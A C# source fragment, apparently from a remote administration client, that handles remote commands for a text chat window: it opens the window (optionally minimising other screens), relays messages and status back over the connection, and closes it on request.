public override void ProcessCommand(byte[] parameter, IConnectionInfo connectionInfo)
{
switch ((TextChatCommunication)parameter[0])
{
case TextChatCommunication.SendMessage:
_currentChatForm?.MessageReceived(new DateTime(BitConverter.ToInt64(parameter, 1)),
Encoding.UTF8.GetString(parameter, 9, parameter.Length - 9));
break;
case TextChatCommunication.OpenChat:
var chatSettings = new Serializer(typeof(ChatSettings)).Deserialize <ChatSettings>(parameter, 1);
if (chatSettings.HideEveythingElse)
{
Computer.MinimizeAllScreens();
}
_currentChatForm = new TextChatForm(chatSettings);
_currentChatForm.SendMessage += (sender, args) =>
{
var data = new List <byte> {
(byte)TextChatCommunication.ResponseMessage
};
data.AddRange(BitConverter.GetBytes(DateTime.UtcNow.Ticks));
data.AddRange(Encoding.UTF8.GetBytes(args.Message));
connectionInfo.CommandResponse(this, data.ToArray());
};
_currentChatForm.Closed += (sender, args) =>
{
_currentChatForm = null;
try
{
connectionInfo.CommandResponse(this, new[] { (byte)TextChatCommunication.ChatClosed });
}
catch (Exception)
{
// ignored
}
};
connectionInfo.CommandResponse(this, new[] { (byte)TextChatCommunication.ChatOpened });
_currentChatForm.ShowDialog();
break;
case TextChatCommunication.Close:
if (_currentChatForm != null)
{
if (!_currentChatForm.IsClosed)
{
try
{
_currentChatForm.Invoke((MethodInvoker)(() => _currentChatForm.ForceClose()));
}
catch (Exception)
{
// ignored
}
}
_currentChatForm = null;
}
//dont send the close message, the window will do that by itself (Closed-Event)
break;
default:
throw new ArgumentOutOfRangeException();
}
}
public override void Dispose()
{
base.Dispose();
_currentChatForm?.Close();
_currentChatForm = null;
}